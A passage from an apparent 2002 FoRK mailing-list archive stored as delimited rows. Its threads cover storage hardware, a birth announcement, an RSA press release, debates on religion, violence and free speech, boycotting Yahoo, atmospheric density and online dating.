Promise IDE hardware on the > motherboard. All that remains is the proper drive socket. I can't think of a single major vendor who sells 1U systems with hardware EIDE RAID. > Additionally, you can get hardware IDE raid as a pair of drive bays or > even an IDE-IDEx2 controller that can be screwed into a 1U chassis. I believe you that stuff can be found, if one is looking for it. However, I wouldn't put this into production unless I've had that system hanging in the local rack under simulated load for a half a year.",0,0 Gregory Alan Bolcer ,Geege Schuman ,"Tue, 17 Sep 2002 06:36:32 -0700",Re: introductions,"I'd like to claim the parenthood of desktop web services, but then there's a ton of people doing it now. What I am the parent of is, Jackson Alan Bolcer--I just realized that the birth announcement was something that didn't get sent through due to my general laziness of being kicked off of FoRK from our stupid DNS fiasco mixed with the post filtering. August 20th, 7lbs, 14oz, 8:30pm. Greg Geege Schuman wrote: > > Aren't you Dr. Gregory A. Bolcer, Dutch Uncle of P2P? > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of > Gregory Alan Bolcer > Sent: Saturday, September 14, 2002 10:21 AM > To: FoRK > Subject: introductions > > As I've had to resubscribe to fork and fork-noarchive, > I guess I have to reintroduce myself. I'm formerly > known as gbolcer at endtech dot com to the FoRK > mailman program, formerly an overposter, and love > soaking up bits through avid reading or scanning > of almost every single list that's got informative to say. > > Hopefully all those overpost will get cleared out at > somepoint and fork-archived. > > Greg",0,0 Gregory Alan Bolcer ,fork@spamassassin.taint.org,"Tue, 17 Sep 2002 06:50:20 -0700",Re: RSA (repost),"""Adam L. Beberg"" wrote: > > So, who has done RSA implementation before? > Having a typo-I-cant-spot problem with my CRT... > > - Adam L. ""Duncan"" Beberg > http://www.mithral.com/~beberg/ > beberg@mithral.com > > http://xent.com/mailman/listinfo/fork Done a ton of them, both with and without their stuff. With is definitely easier.[1] Greg [1] http://www.endeavors.com/PressReleases/rsa.htm Endeavors Technology and RSA Security Form Strategic Partnership to Enhance SSL Performance in Secure, Enterprise-Scalable P2P Computing Endeavors Technology and RSA Security combine their respective peer-to-peer Magi Enterprise Web collaboration and RSA BSAFE software for SSL users to instantly extend security and improve performance of desktop and corporate data sharing, and Web interaction between workgroups inside and across corporations. Irvine (CA) and Cambridge (UK), September 12, 2002 - Secure web collaboration software leader Endeavors Technology, Inc. today announced a technology sharing and marketing agreement with RSA Security Inc. the most trusted name in e-security. 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The program is designed to ensure complete interoperability between partner products and RSA Security's solutions including RSA SecurID two-factor authentication, RSA ClearTrust Web access management, RSA BSAFE encryption and RSA Keon digital certificate management. The strategic partnership paves the way for Magi Enterprise to bear the RSA Secured brand on product packaging and advertising, be listed in RSA Secured Partner Solutions directories, and have RSA Security's out-of-the-box, certified interoperability. It will also lead to joint marketing and promotional activities between the two firms, mutual field sales engagement opportunities on joint accounts, and 24x7 worldwide business continuity support. ""Endeavors Technology is taking a leadership role by providing the highest-level of security in its enterprise products and streamlining the deployment process for IT managers,"" says Stuart Cohen, director of partner development at RSA Security. ""By combining our products, enterprise customers have a solution that provides encryption and authentication across firewalls."" About Magi Magi Enterprise 3.0, an award-winning web collaboration system, transforms today's Web into a highly secure inter- and intra-enterprise collaboration network. For the first time, enterprises can implement ad-hoc Virtual Private Networks for collaboration very rapidly and affordably without disrupting existing applications, networks or work practices. Magi Enterprise 3.0 does this by effectively transforming unsecured, ""read-only"" Web networks into two-way trusted and transparent collaboration environments, through the use of such features as cross-firewall connections, advanced data extraction, an intuitive graphical interface, and universal name spaces generating ""follow me URLs"" for mobile professionals. About RSA Security, Inc. RSA Security Inc., the most trusted name in e-security, helps organizations build secure, trusted foundations for e-business through its RSA SecurID two-factor authentication, RSA ClearTrust Web access management, RSA BSAFE encryption and RSA Keon digital certificate management product families. With approximately one billion RSA BSAFE-enabled applications in use worldwide, more than ten million RSA SecurID authentication users and almost 20 years of industry experience, RSA Security has the proven leadership and innovative technology to address the changing security needs of e-business and bring trust to the online economy. RSA Security can be reached at www.rsasecurity.com. About Endeavors Technology, Inc. Endeavors Technology, Inc. is a wholly-owned subsidiary of mobile computing and network infrastructure vendor Tadpole Technology plc (www.tadpole.com), which has plants and offices in Irvine and Carlsbad (California), and Cambridge, Edinburgh, and Bristol (UK). For further information on Endeavors' P2P solutions, call 949-833-2800, email to p2p@endeavors.com, or visit the company's website www.endeavors.com. Copyright 2002 Endeavors Technology, Inc. Magi, and Magi Enterprise are registered trademarks of Endeavors Technology, Inc. RSA, BSAFE, ClearTrust, Keon, SecurID, RSA Secured and The Most Trusted Name in e-Security are registered trademarks or trademarks of RSA Security Inc. in the United States and/or other countries. All other products and services mentioned are trademarks of their respective companies. 2002 Endeavors Technology, Inc., 19600 Fairchild, Suite 350, Irvine, CA 92612, phone 949-833-2800, fax 949-833-2881, email info@endeavors.com. All rights reserved; specifications and descriptions subject to change without notice.",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Tue, 17 Sep 2002 10:18:44 -0400",Harvest Moon,"http://spineless.org/~mod/pix/octoberMoon.jpg -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 Gary Lawrence Murphy ,"""Stephen D. Williams"" ",17 Sep 2002 10:50:46 -0400,Re: Slaughter in the Name of God,">>>>> ""S"" == Stephen D Williams writes: S> A) Which religion is it that can claim no foul actions in its S> past? Certainly not Christianity, Islam, etc. Rastafari. That is, if you concede that of the two founding branches, only the one founded by the Nyabingi were legit and the others were thinly-veneered anti-colonial hooligans. There is also Vietnamese Buddhism, unless you count setting fire to oneself as a ""foul action"". S> C) Many splinter Christianity religions have 'clean hands' but S> they also aren't 'found in the wild'. You'd have to explain ""found in the wild"". For example, I know of no violence perpetrated by the South Pacific ""Cargo Cults"" outside of a pretty darn /mean/ game of cricket. S> D) The Northern Ireland Protestant vs. Catholic feud, recently S> more or less concluded, is not completely unlike this kind of S> friction generated by splitting society too much along S> religious lines. One Post article pointed out that the problem S> basically stemmed from the vertical integration of areas along S> religious lines all the way to schools, government, political S> party, etc. (Of course both cases have a heritage of British S> conquest, but who doesn't?) When we launched the Native Net in 1989, one of the first things we noticed on networking aboriginal groups around the world is that the British Army, with the US Army as a proxy by extension, were the common thread. Where neither was present (physically or through influence) there /tended/ to be less violence. The issue in Ireland is complex, but rest assured that religious aspects are only a co-incidence of the invader/colonials being predominantly members of the Royal-headed Anglicans and the aboriginal population being predominantly members of the Pope-headed Catholics. The conflict itself has nothing to do with ideology or practice, since the Anglican Church is a near-identical clone of Catholicism. (now I bet that's going to attract some healthy debate ;) S> .. most Protestants are unionists who want the S> province to remain part of Britain. Mebst. Mebst. It's the other way around. Most Unionists are protestants. It's their _Unionism_ that is the source of the conflict, not their sacriments. S> ... Police records and historians agree that the most lethal S> group by far was the IRA, fighting on the Catholic side with a S> goal of a united Ireland And which side of the colonial fence do you suppose the Police and Historians sit? If the Russians had invaded the USA as feared in episodes such as the Bay of Pigs, would the Americans have organized to become a ""lethal force"", or would they have just said, ""Oh well, there goes /that/ democracy!"" and settle in under communist rule? Just wondering. >> 2. The US is trying to avoid making war on the Muslim religion. It is interesting to me that the Canadian media is trying to paint Chretien as some sort of buffoon for saying that 3rd-world poverty was a major contributor to 9-11. If they'd /watch/ his now-infamous interview, they'd see that it's still us-against-hooligans, but his point is that the hooligans would not be able to find friendly states so easily if those states were not so bled-dry by the west. The same is true of street-gangs: When people are disenfranchised, it's easier to offer them the Triad as a new family. You get cellphones, cars, a dry place to live. Triad, biker gangs, mafia, the IRA, Al Queda ... we've been fighting the War on Terrorism for as long as there's been commerce, so you'd think we'd /realize/ that escalation of violence is not a solution. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 yyyy@spamassassin.taint.org (Justin Mason),Gary Lawrence Murphy ,"Tue, 17 Sep 2002 17:50:23 +0100",Re: Slaughter in the Name of God,"Gary Lawrence Murphy said: > >>>>> ""S"" == Stephen D Williams writes: > S> A) Which religion is it that can claim no foul actions in its > S> past? Certainly not Christianity, Islam, etc. > Rastafari. > That is, if you concede that of the two founding branches, only the > one founded by the Nyabingi were legit and the others were > thinly-veneered anti-colonial hooligans. > There is also Vietnamese Buddhism, unless you count setting fire to > oneself as a ""foul action"". What about Tibetan Buddhism BTW? They seem like an awfully nice bunch of chaps (and chapesses). > When we launched the Native Net in 1989, one of the first things we > noticed on networking aboriginal groups around the world is that the > British Army, with the US Army as a proxy by extension, were the > common thread. Where neither was present (physically or through > influence) there /tended/ to be less violence. > > The issue in Ireland is complex, but rest assured that religious > aspects are only a co-incidence of the invader/colonials being > predominantly members of the Royal-headed Anglicans and the aboriginal > population being predominantly members of the Pope-headed Catholics. > The conflict itself has nothing to do with ideology or practice, since > the Anglican Church is a near-identical clone of Catholicism. > > (now I bet that's going to attract some healthy debate ;) Man, I'm not going *there* again ;) I'll agree, though, that the ideology or practices of the religions have very little to do with the conflict. > The same is true of street-gangs: When people are disenfranchised, > it's easier to offer them the Triad as a new family. You get > cellphones, cars, a dry place to live. Triad, biker gangs, mafia, the > IRA, Al Queda ... we've been fighting the War on Terrorism for as long > as there's been commerce, so you'd think we'd /realize/ that > escalation of violence is not a solution. Well said! --j.",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 17 Sep 2002 19:26:27 +0200 (CEST)",Re: Hanson's Sept 11 message in the National Review,"Chuck Murcko wrote: > > The usual crud. Why do morons ranting and beating their chests in the > > National Review (or similar rags) merit FoRKing? > Probably because we have this pesky 1st Amendment thing here. [...] It must be so great in the US. The rest of us live in caves and have no such thing as free speech. BTW, I wasn't aware that the 1st Amendment mandated that crap must be FoRKed. > You can just ignore it if you wish. I will, thanks. > But I must feel obligated to defend to the death your right to do so. Je dsapprouve ce que vous dites, mais je dfendrai jusqu' ma mort votre droit de le dire - Arouet Le Jeune, dit Voltaire (1694-1778). R",0,0 Luis Villa ,fork@spamassassin.taint.org,17 Sep 2002 13:36:49 -0400,Re: Slaughter in the Name of God,"On Tue, 2002-09-17 at 12:50, Justin Mason wrote: > What about Tibetan Buddhism BTW? They seem like an awfully nice bunch > of chaps (and chapesses). They were the ruling class of a feudal, farming society for quite some time; I believe there were more than a few issues there. Certainly, not everyone in Tibet is as excited about the Dalai Lama as Hollywood appears to be. [Not that the Chinese are much better rights-wise, but they've actually built roads and such, which led to the creation of merchant classes and the like that never existed under the Tibetans.] Luis",0,0 ,,"Tue, 17 Sep 2002 13:41:50 -0400",FW: Wanna buy a nuke?,"I have been told to take anything read in Pravda with a grain of salt... but this article certainly looks impressive when paired together with this other one from the associated press... Just the concept makes me shudder, imagining how easy it must be to smuggle these things around some parts of Europe right now. Hopefully, it's just my imagination. -- Michael Cummins Fort Lauderdale, FL ---------------------------------------------------------------------------- ---- http://english.pravda.ru/main/2002/09/13/36519.html 11:14 2002-09-13 200 SOVIET NUKES LOST IN UKRAINE ---------------------------------------------------------------------------- ---- http://story.news.yahoo.com/news?tmpl=story2&cid=518&ncid=518&e=51&u=/ap/200 20903/ap_on_re_eu/ukraine_iraq_3 Ukraine-Iraq Arms Deals Alleged Tue Sep 3, 6:07 PM ET By TIM VICKERY, Associated Press Writer ---------------------------------------------------------------------------- ---- Rohit Khare - I wish you the best of luck in your search. I found *my* Very Special Lady when I was intentionally looking elsewhere... you never know what lurks around every corner. Love certainly has its *own* agenda. --------------------------------------------------------------- Scanned for viruses by the advanced mail servers at advantageservices.net",0,1 """Owen Byrne"" ",Chuck Murcko ,"Tue, 17 Sep 2002 14:38:52 -0300",Re: Hanson's Sept 11 message in the National Review,"On Tue, Sep 17, 2002 at 10:19:13AM -0700, Chuck Murcko wrote: > Probably because we have this pesky 1st Amendment thing here. Still, > lots of us in the States have developed a disturbing tendency to shout > down or (in recent years) shackle in legal BS opinions, thoughts, and > individual behaviors we don't agree with. > Except that parroting the party line doesn't really require much freedom of speech. Now if you had posted something from a left of center source, you would have been shouted down in flames, buried in ad hominem attacks, and probably get your name added to an FBI list. Besides the basic rule in the United States now is ""I'll defend your rights to say anything you want, but if it isn't appropriately neoconish, well, don't expect to work"": HHS Seeks Science Advice to Match Bush Views By Rick Weiss Washington Post Staff Writer Tuesday, September 17, 2002; Page A01 The Bush administration has begun a broad restructuring of the scientific advisory committees that guide federal policy in areas such as patients' rights and public health, eliminating some committees that were coming to conclusions at odds with the president's views and in other cases replacing members with handpicked choices. ... http://www.washingtonpost.com/wp-dyn/articles/A26554-2002Sep16.html Owen",0,1 Gary Lawrence Murphy ,yyyy@spamassassin.taint.org (Justin Mason),17 Sep 2002 14:16:56 -0400,Re: Slaughter in the Name of God,">>>>> ""J"" == Justin Mason writes: J> What about Tibetan Buddhism BTW? They seem like an awfully J> nice bunch of chaps (and chapesses). Yes, them too. When wolves attack their sheep, they coral the wolf into a quarry and then throw rocks from the surrounding cliffs so that ""no one will know who killed the wolf"" In Samskar, before the Chinese arrived, there had not been a killing in over 2000 years, and the last recorded skirmish, over rights to a water hole, had happened several generations ago. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Chuck Murcko ,fork@spamassassin.taint.org,"Tue, 17 Sep 2002 10:19:13 -0700",Re: Hanson's Sept 11 message in the National Review,"Probably because we have this pesky 1st Amendment thing here. Still, lots of us in the States have developed a disturbing tendency to shout down or (in recent years) shackle in legal BS opinions, thoughts, and individual behaviors we don't agree with. You can just ignore it if you wish. But I must feel obligated to defend to the death your right to do so. Chuck On Monday, September 16, 2002, at 06:54 AM, Robert Harley wrote: The usual crud. Why do morons ranting and beating their chests in the National Review (or similar rags) merit FoRKing?",0,0 James Rogers ,fork@spamassassin.taint.org,17 Sep 2002 12:01:16 -0700,Re: Slaughter in the Name of God,"On Tue, 2002-09-17 at 11:16, Gary Lawrence Murphy wrote: > >>>>> ""J"" == Justin Mason writes: > > J> What about Tibetan Buddhism BTW? They seem like an awfully > J> nice bunch of chaps (and chapesses). > > Yes, them too. When wolves attack their sheep, they coral the wolf > into a quarry and then throw rocks from the surrounding cliffs so > that ""no one will know who killed the wolf"" > > In Samskar, before the Chinese arrived, there had not been a killing > in over 2000 years, and the last recorded skirmish, over rights to > a water hole, had happened several generations ago. I'm skeptical. One of the many perversions of modern civilization is the fictitious rendering of various peoples, frequently to the point where the fiction is more ""real"" than the reality. You see it over and over again in history: The Primitive People pull a fast one on Whitey The Junior Anthropologist, playing to all the prejudices of Whitey (who only became Junior Anthropologists to support personal ideologies), and before you know it the charade takes on a life of its own which the Primitive People are compelled to perpetuate. Worse, even when there is substantial evidence to the contrary with some basic scholarship, the facts have a hard time competing with the ideologically pleasing fiction that is already firmly entrenched. And many peoples (e.g. American Indians) develop a profit motive for maintaining and promoting the myth in popular culture. I'm far more inclined to believe that people is people, no matter where you are on the planet. The only time you see any anomalies is when you have a self-selecting sub-population within an otherwise normal population, which is hardly a fair way to look at any major population. -James Rogers jamesr@best.com",0,0 Dave Long ,fork@spamassassin.taint.org,"Tue, 17 Sep 2002 12:40:05 -0700",Re: The Big Jump,"> All else being equal, the terminal velocity is inversely proportional to the > square root of air density. Air density drops off pretty quickly, and I > really should be doing something other than digging up the math for that. I > think it involves calculus to integrate the amount of mass as the column of > the atmosphere trails off. Chemistry types have a method for dealing with this question without dragging in the calculus: Suppose an atmosphere to be mainly affected by gravity, resulting in the potential energy for a mass M to be linear in height h: Mgh. What relative concentrations will we have when two different packets of air are in equilibrium? If they are at the same height, we will have half the mass in one, and half the mass in the other, and the amount flowing from one to the other balances the amount flowing in the opposite direction.[0] If they are at differing heights, then a greater percentage of the higher air tends to descend than that percentage of the lower air which ascends. In order for the two flows to balance, the higher packet must contain less air than the lower, and the mass balance of the flows corresponds thusly: high percentage of thin air --------------------------- low percentage of dense air Now, rates are exponential in energy differences[1], so that theoretically we should expect an exponential decay in height, to compensate. How does it go in practice? -Dave [0] How well does it balance? Chemical equilibria seem stable, as they deal with very large numbers over a very long time. Economic equilibria are viewed from the mayfly standpoint of individual people, and so, at best, the shot noise is very visible. [1] That is to say, rates will be exponential in the free energy differences between endpoints and a transition state. We can ignore that complication in this model.",0,0 """John Hall"" ",", ""'Gary Lawrence Murphy'"" ","Tue, 17 Sep 2002 13:31:20 -0700",RE: Slaughter in the Name of God,"> From: yyyy@spamassassin.taint.org [mailto:yyyy@spamassassin.taint.org] > Sent: Tuesday, September 17, 2002 9:50 AM > > ... we've been fighting the War on Terrorism for as long > > as there's been commerce, so you'd think we'd /realize/ that > > escalation of violence is not a solution. > > Well said! > > --j. Yeah. It certainly wasn't a solution to the Carthaginian problem or the Barbary Pirates. Wait ... no ... actually ... it was a rather permanent solution.",0,0 """Mr. FoRK"" ","""Luis Villa"" , ","Tue, 17 Sep 2002 13:40:12 -0700",Re: Slaughter in the Name of God,"----- Original Message ----- From: ""Luis Villa"" > > They were the ruling class of a feudal, farming society for quite some > time; I believe there were more than a few issues there. Certainly, not > everyone in Tibet is as excited about the Dalai Lama as Hollywood > appears to be. [Not that the Chinese are much better rights-wise, but > they've actually built roads and such, which led to the creation of > merchant classes and the like that never existed under the Tibetans.] And it's not /going/ to exist under the Tibetans, because it'll be owned and operated by Chinese nationals.",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Tue, 17 Sep 2002 17:26:09 -0400",Re: Slaughter in the Name of God,"At 12:01 PM -0700 on 9/17/02, James Rogers wrote: > The Primitive People pull a fast one on Whitey The Junior > Anthropologist Or Margaret, in the case of a famous proto-feminist... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 CDale ,fork@spamassassin.taint.org,"Tue, 17 Sep 2002 21:41:40 -0500 (CDT)",boycotting yahoo,"Because of this: http://hrw.org/press/2002/08/yahoo080902.htm there are several of us who are in the BDSM lifestyle who are trying to encourage our local groups to find alternatives to yahoo groups as a way of communicating with each other. I've set up a place to have maillists on my server for any group who wants to use it, but I was wondering if anyone knows of an alternative that allows all the bells and whistles that yahoo has, such as reminders, file storage, calendars, etc. Anyone? TIA, Cindy -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 Wayne E Baisley ,FoRK@xent.com,"Tue, 17 Sep 2002 23:20:31 -0500",Re: storage bits,"At Fermi (yes I'm back there; long story), we're buying 4U systems like the fiscal year is ending. We have ~20 ASA IR4US1 systems (not pushing them, there are some other similar units available), with 60 more on order. They're 2-1/2 TB for $10K, although we add a separate IDE or SCSI system disk, because the 3Ware RAID controllers can saturate. Intel SDS2 motherboard, 2 1.4GHz P3s, 2 GB ram, 2 3Ware 7850 Raid controllers, 16 160GB Maxtors, SysKonnect gigabit enet, Fermi RedHat 7.3. http://www.asacomputers.com/cgi-bin/index.fcg?action=displayscreen&templateid=25 There's some interesting info at: http://mit.fnal.gov/~msn/cdf/caf/server_evaluation.html We've decided to go with XFS (which Linus has just merged into the 2.5 tree), mostly because none of the other journaled fs's can maintain >30 GB/s rates with a nearly full filesystem (mostly GB files) with random deletions (we use these systems for caching our 2 petabyte tape store). Ext3 almost did it but dropped from from ~38MB/s to 10 with random deletions, and didn't want to do direct io at all. Only concern is an occasional system lock-up we haven't chased down yet. A load avg > 100 is always a patio of fun. Oddly, even fairly beefy systems like these will breathe hard to keep up with the new STK 9940B tape drives, which crank along at a steady 30GB/s. And you oldforktimers will remember ""doofus"" my old file server system. It would only take 2.1"" of rackspace now, instead of 14 racks. Cheers, Wayne",0,1 Wayne E Baisley ,Florida Our Recount Kapitol ,"Tue, 17 Sep 2002 23:55:32 -0500",Re: FWD: Florida Primary 2002: Back to the Future,"Yes, it's nice to be back in America's flaccid state ... Seems like only yesterday we were suffering electile dysfunction ... Maybe if they made the ballot ovals look like little blue pills ... No, seriously ... I'm here all week ... You were great ... 'nite everybody",0,0 Gary Lawrence Murphy ,CDale ,18 Sep 2002 01:57:43 -0400,Re: boycotting yahoo,"I'm a bit confused about this boycott thing. How is what China is doing any different than having Scientology and who ever else state-side who takes the whim evoking the DMCA to close down foreign sites they deem inappropriate? At least the Chinese make it voluntary and ask politely, rather than just sending legal musclemen first off. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """Gordon Mohr"" ",,"Wed, 18 Sep 2002 00:29:01 -0700",Defending Unliked Speech Re: Hanson's Sept 11 message in the,"Robert Harley writes: > Chuck Murcko wrote: > > But I must feel obligated to defend to the death your right to do so. > > Je dsapprouve ce que vous dites, mais je dfendrai jusqu' ma mort votre > droit de le dire > - Arouet Le Jeune, dit Voltaire (1694-1778). Here's hoping that tradition perseveres for the novelist currently on trial in Paris for calling Islam ""the stupidest religion""... http://ca.news.yahoo.com/020917/5/ozxa.html # Tuesday September 17 11:07 AM EST # # French Writer Tried As Anti-Islam, Protest Erupts # By Caroline Brothers # # PARIS (Reuters) - Provocative French novelist Michel Houellebecq # faced a Paris court on Tuesday for allegedly inciting racial hatred # by calling Islam ""the stupidest religion"" and its holy book the # Koran a depressing read. # # The case, brought against him by four Muslim groups, is a cause # celebre reminiscent of the Salman Rushdie affair, pitting freedom of # expression against religious sensitivities. # # The Muslim groups, which include the Mecca-based World Islamic # League and the Paris Mosque, accuse the writer of insulting Islam in # an interview with the literary magazine ""Lire"" during last year's # launch of his novel ""Plateforme."" # # Lire is also on trial over the remarks, which have taken on an added # significance in France in the atmosphere of heightened sensitivity # and concern about Islam following the September 11 attacks by Muslim # radicals in the United States. # # Shortly after the trial started, 11 people in the courtroom stripped # off their shirts to reveal T-shirts saying ""No to the censure of the # imams"" and ""Marianne veiled, Marianne raped"" -- a reference to the # female symbol of the French republic. # # ""Freedom of expression! freedom of expression!"" they and other # Houellebecq supporters chanted after they were thrown out of the # courtroom at the main law courts in central Paris. # # While intellectuals argued before the trial that Houellebecq should # be free to write what he wants, Lyon Mosque rector Kamel Kabtan # retorted: ""We are for freedom of expression, but not for insulting # communities."" # # BETE NOIRE # # Houellebecq, 45, the bete noire of contemporary French literature, # is no stranger to controversy. He offended conservatives and the # politically correct left with his 1998 novel ""Les Particules # Elementaires"" (""Atomised"" in English). # # Paris Mosque rector Dalil Boubakeur says Muslims have been insulted # once before by Houellebecq, who had the main character in Plateforme # admit he felt ""a quiver of glee"" every time a ""Palestinian # terrorist"" was killed. # # The World Islamic League, the Lyon Mosque and the National # Federation of Muslims in France have joined the Paris Mosque in # bringing Houellebecq to trial. # # France's Human Rights League joined them as a civil party, saying # Houellebecq's comments amounted to ""Islamophobia"" and deserved to be # sanctioned as part of the league's struggle against discrimination # and racism. # # The Paris Mosque has hired Jean-Marc Varaut, one of France's leading # trial lawyers, whose past clients include Maurice Papon, the former # official condemned in 1998 for Nazi-era crimes against humanity for # sending Jews to death camps. # # RESTORING BLASPHEMY? # # Houellebecq's lawyer Emmanuel Pierrat argues that the case # effectively re-establishes the notion of blasphemy, despite the fact # that France as a secular state has no such law, and says # Houellebecq's opponents want to deny him freedom of expression. # # He also argues that the interview in Lire truncated a six-hour # conversation and Houellebecq was not given the chance to approve the # article before it appeared. # # Houellebecq's publisher Flammarion has distanced itself from the # author, whose comments some say may have cost him France's # prestigious Goncourt prize -- for which he had been a contender. # # The novelist, who lives outside Cork, Ireland, writes in a detached # style about a bleak world in which people have forgotten how to # love. # # Translated into 25 languages, ""Atomised"" incensed France's 1968 # generation with its scathing descriptions of the hippie era but won # him France's November prize in 1998 and the Impac award, one of the # world's biggest fiction prizes. # # Losing his case may mean a year in jail or a $51,000 fine. - Gordon",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 18 Sep 2002 11:27:12 +0200 (CEST)",Re: RSA (repost),"""Adam L. Beberg"" wrote: > So, who has done RSA implementation before? /me raises hand. > Having a typo-I-cant-spot problem with my CRT... Send me the source. R",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 18 Sep 2002 12:47:40 +0200 (CEST)",Re: [VoID] a new low on the personals tip...,"Pity. Reading that woman's ad and knowing Rohit for years, they sound like a match made in heaven. But why, oh, why, keep that shaved-head photo on prominent display??? There are lots of photos of Rohit looking rather dashing, and with the crucial hair feature enabled! R",0,0 Rodent of Unusual Size ,Flatware or Road Kill? ,"Wed, 18 Sep 2002 07:13:36 -0400",Re: boycotting yahoo,"CDale wrote: > > I was wondering if anyone knows of an alternative that allows > all the bells and whistles that yahoo has, such as reminders, > file storage, calendars, etc. SmartGroups, I think. -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 """Owen Byrne"" ",Paul Prescod ,"Wed, 18 Sep 2002 08:21:39 -0300",Re: Hanson's Sept 11 message in the National Review,"On Tue, Sep 17, 2002 at 09:11:01PM -0700, Paul Prescod wrote: > Owen Byrne wrote: > >... > > > >Except that parroting the party line doesn't really require much > >freedom of speech. Now if you had posted something from a left of > >center source, you would have been shouted down in flames, buried in > >ad hominem attacks, and probably get your name added to an FBI list. > > Do you think it is really useful to combat hysterical right-wing > propoganda with hysterical left-wing propoganda? > Sure it is - it tends to bring out the people who let ""hysterical right wing propaganda"" spew forth, while reaching for their gun whenever a ""liberal"" enters the room. my hysterical left wing ""propaganda"" is generally an emotional reaction on a mailing list, not an organizaed attempt at converting people's thinking through lies and distortion (as was the original article). Whereas your constant and predictable brandings of my postings are, to my mind, a deliberate and reasoned effort to reduce debate, and discourage left of center postngs. Owen",0,0 CDale ,Gary Lawrence Murphy ,"Wed, 18 Sep 2002 07:24:02 -0500 (CDT)",Re: boycotting yahoo,"Well I don't think China could force Yahoo! to give up info. So if they are so willing to give it, why wouldn't they be willing to give info to some silly group who may one day decide to get a hair up their ass about the practice of BDSMers? (not to mention folks who don't even practice, but who are just interested in information) What about folks who are interested in talking about software security issues? Didja read about the guy in China who got 11 years for downloading and printing out pro-democracy info? http://www.democracy.org.hk/EN/2002/aug/news_04.html I'm confused about what you're confused about. Cindy On 18 Sep 2002, Gary Lawrence Murphy wrote: > > I'm a bit confused about this boycott thing. How is what China is > doing any different than having Scientology and who ever else > state-side who takes the whim evoking the DMCA to close down foreign > sites they deem inappropriate? At least the Chinese make it voluntary > and ask politely, rather than just sending legal musclemen first off. > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 """R. A. Hettinga"" ","Rodent of Unusual Size ,","Wed, 18 Sep 2002 11:06:01 -0400",Re: boycotting yahoo,"At 7:13 AM -0400 on 9/18/02, Rodent of Unusual Size wrote: > SmartGroups, I think. Dave Farber's Interesting People list just went over to Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Gary Lawrence Murphy ,fork@spamassassin.taint.org,18 Sep 2002 12:26:32 -0400,Re: [VoID] a new low on the personals tip...,">>>>> ""E"" == Eirikur Hallgrimsson writes: E> You just can't tell important things from a picture and a few E> words. It's not how we are built. There's no geek code for E> the heart and soul. Nor is there a Turing Test, even for someone with whom you've spent 11 years, boom, bust and boom again, and 3 children (trust me) There is no magic litmus test other than the totally empirical: ""Try it and see"" ""String bags full of oranges And matters of the heart, People laugh at /anything/ And things just fall apart."" - michael leunig The only real test, the only /sensible/ test, is to look back and realize your relationship has lasted 50 years and see no reason to believe it couldn't last another 50. In the absense of 50 years of actual (ahem) hands-on experiential data, a photo and a few words are as good as any, provided you are prepared for the dynamics of it. Love is a verb. Sex is a /shared/ pursuit. There is no 'relation-ship', there is only the crew. sail away! -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Eirikur Hallgrimsson ,fork@spamassassin.taint.org,"Wed, 18 Sep 2002 11:45:50 -0400",Re: [VoID] a new low on the personals tip...,"On Wednesday 18 September 2002 06:47 am, Robert Harley wrote: > ....and with the crucial hair feature enabled! That got a good laugh out of me. Just saying ""crucial hair feature"" improves my day immeasurably. I've done a fair amount of thinking about the ""media intermediated"" meeting thing. It seriously loses for reasons like Rohit's just encountered. One is both rejected for trivial reasons and rejects for the same. Some people loudly defend that these choices are not trivial. I'd have never met my best friend if I had to pick her out of a crowd for getting to know. I was a teen at the time, but I won't say I'm much improved at being able to spot ""interesting"" at a distance. Interesting isn't an external thing. I have that brought home to me again every so often. I may think that interesting people dress differently or whatever, but that's total superstition. How do I know what your version of creative attire is? Maybe it's purely functional. I was at a loud party recently, sufficiently loud that conversation of any kind was extremely difficult, and intoxication was the norm. I was working on what my algorithm for meeting people there should be and one of the candidates was ""women, in order of attractiveness."" I flinched from that, rather violently. At a trade show, or something, I might elect to talk to the people who are looking at interesting exhibits. At a party.....well, if you can't hear the conversation they are having, or if on the net all you have is a photo..... You just can't tell important things from a picture and a few words. It's not how we are built. There's no geek code for the heart and soul. (And if there were people would lie and game the system.) It's too easy to say ""Oh, no! He's a geek!"" or ""She's a CAT person, ick!"" when you might have a great time together. We are constructed to form alliances based on how we fit together as people, how we feel in the other person's company, how well we partner on tasks and recreation. This is all entirely speculative based on nothing but superstitious association unless you actually have time in the person's company. Which is why we tend to be screwed when our circle of exposure shrinks after school. 